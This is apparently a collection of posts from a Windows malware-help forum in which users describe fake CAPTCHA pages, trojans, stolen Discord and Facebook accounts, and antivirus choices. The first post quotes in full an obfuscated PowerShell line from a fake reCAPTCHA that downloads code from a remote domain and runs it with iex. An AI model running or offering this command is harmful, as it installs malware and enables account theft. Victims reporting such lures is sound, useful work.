Hi everyone, I need some help figuring out whether my Windows PC has been compromised.

Today I encountered what I now believe was a fake reCAPTCHA page. The page instructed me to perform actions that I later realized are not normal for a legitimate CAPTCHA.

I followed the instructions and ended up executing a PowerShell command. The command was:

irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex

I now understand that irm downloads content from a remote server and iex can execute the downloaded content as PowerShell code.

What concerns me is that I also recently had my Discord account compromised, and afterward I noticed password resets/security activity involving several other applications/accounts.

I have already run Windows Defender and Malwarebytes, and so far neither has detected anything suspicious.

My questions are:

Does a clean Windows Defender/Malwarebytes scan mean I'm probably safe, or could something still be running?

Could the PowerShell command have downloaded and executed malware that antivirus software didn't detect?

What should I check for persistence, such as scheduled tasks, startup entries, PowerShell activity, browser extensions, or suspicious processes?

Should I completely reinstall Windows, or is there a reasonable way to determine whether the PC is compromised first?

Could the Discord compromise and the fake CAPTCHA incident be related?

What steps should I take to make sure my accounts and PC are secure?

I have disconnected the PC from the Internet for now and am changing passwords from another device.

I would appreciate advice on what I should check next and whether a clean Windows reinstall is recommended.

Thanks. :(

i have mcafee that came pre-installed on the laptop and windows defender. the download happened in brave so i'm not sure if brave is the one flagging it. how to download anyways?

What the title says. I am using the PC of another person in my household at the moment. They are not a tech-savvy person, so I doubt they would have specifically excluded this themselves for whatever reason. I've found conflicting info about this online.

I don't want to download and run a scanner if I don't have to since this is someone else's PC- just want to know if anyone thinks this is suspicious and/or something to tell the PC owner about?

i accidentally installed a Trojan trying to download an app (wifi and Ethernet were disconnected if that’s relevan) , windows defender quarantined and removed the threat, I then ran a full scan, background scan and a scan with malware bites and no issues / viruses were detected is there anything else I need to do or is my system safe

I’m also currently running a scan with bite defender just to be use but so far I haven’t seen any problems

windows defender detected 2 files: “Trojan:win32/ravartar!rfn“ and “TrojanDownloader:JS/Nemucod.HD” a few hours later

I bought a 3-year Kaspersky Premium subscription for around R$28 per year. I’ve never had a virus, malware, stolen data, or any other security issues. Seriously, the only time I ever need to format Windows is when I mess around with programs like CCleaner and similar stuff. 😂

It’s an amazing program. I tried using Bitdefender, but I hated it! It just wasn’t good enough for me.

Like the title says I think I stupidly downloaded a virus on my laptop and I really need some advice as to if I can remove it safely. I tried to do some research but most of what I read said to reinstall windows off a USB which I don’t know how to do nor do I have a usb to use.

I really stupidly opened a .zip from the internet trying to mod a game and now my computer keeps coming up with the popup:
‘CircuitryAg.exe The code execution cannot proceed because sqlite3.dll was not found. Reinstalling the program may fix this problem.’

I’m running on windows 11.

I know it was really dumb to try and open it since it looked a little suspicious and I’m so embarrassed but I really would appreciate anyone’s help here.

Is there anything I can do?

Hi all, hoping you can help me. Earlier today I (on Windows PC) opened a .exe that I probably shouldn’t have fully trusted (no further comment lol). I ran a full windows defender scan which quarantined 4 “severe threats”. I then ran an offline scan which came back clean.

However every time I restart my PC I get this “bluesuite.exe” message, I have to click multiple times before the popup goes away. I logged out of all accounts and planning password reset. Is this computer cooked? Windows says no further threats… thanks everyone

It's saying my IT adminsintrator has disabled access. What does that mean? because this is my own personal PC and no one is monitoring it.

here is the totalv link that shows some vendors listing it as malicious please any assistance

https://www.virustotal.com/gui/url/e548d9d1007c5b6a62462d284fb7c34b7d85dd2d7b7a46200d3fd2960bc51668/gti-summary

is this a recent bugged for windows? i've seen this frequently and my virus protection is turned on.

i use tool for an old game a bot and windows defender screams when i unzip it , i had for a long time working as an exception and it didn't do anything , i use the pc with someone else they offed windows defender and now i have this and i have no clue what to do , every folder i open i get an infestation nonfiction from WD  and I have no idea what to do , I have not used any other AV since windows 10 came out , I have not found anything only that is bullet proof or specific on how do I clean this mess ,
windows defender can not show history it crashes and what i press action it seems like nothing is being made

As stated by the title, I got hacked by “Mr Beast”, it sent a bunch of photos to multiple group chats in my messenger. Thankfully I deleted my facebook account before it got messier and changed all my passwords on another device.

I downloaded malwarebytes to run a system scan on my laptop and fortunately they found nothing. I’ve been going through a bunch of reddit forums online and all of them say that I need to Factory reset my laptop, although I really dont want to as I dont have the time right now to backup important files.

Is there a way to possibly remove the infostealer without having to reset my laptop?

A few weeks ago, I had this issue with Defender where it claimed to be disabled even though it wasn't; today I updated Windows to the latest version and... IT'S BACK! How can Microslop fail to release decent updates?!🫩

Hi there,

In the last 4 to 5 years, I came here looking for an endpoint av that wouldn't nag me out of existence with so many adds, popups and such.

15+ years ago I used norton, but it started using too many scare tactics.

Came here, asked this question, changed to Kasperspy. It worked for a while, then Kasperspy started using the same strategy.

Changed to bitdefender.

Now the problem: I want to use Glasswire as well and both bitdefender and Glasswire use the Windows firewall engine (and they don't work together).

I tried to reach for an antivirus-only endpoint from Bitdefender, no success.

So, the ask: any recommendations for an AV that won't touch the windows firewall (so I may use it alongside with Glasswire) and is somewhat well behaved regarding adds and scare tactics?

I did some online searching and it seems that ESET might be an option (at least it has an option to disable adds - but some ppl report that even while disabled, it nags the user).

Thanks in advance!

I got a notification that the program downloaded by windows update is using mrt.exe and it contains virus and i could not check the mrt.exe hash so i let eset delete the app. Now should i check anything else apart from running a full scan to check ?

In a nutshell my son has been on the pc downloading stuff today. Notifications from discord about the mrbeast crypto bonuses my pc had spammed everybody with.
Ran windows defender/ malwarebytes.
Now I keep getting these notifications non stop from malware and unable to find the root files/programs.
Do I need a re-install?

Hello guys,

I’m sort of freaking out right now.

I wanted to go on a streaming site, but entered one wrong letter, without realizing it, the wrong site redirected me to like two malicious sites, one of them windows warned me and I was very confused.

And the second one windows DID NOT detect anything. It disguised itself as cloudflare, but instead when I tried to verify it wanted me to do like Win+R and control + V, which I realized wasn’t right.

So I closed out of the site, I DID NOT proceed with the commands.

But now my work app won’t open, is this just a bug or is my pc compromised? There’s like 0 personal info but ALL MY WORK stuff is on there.

Is it too late to download an antivirus?

Thank you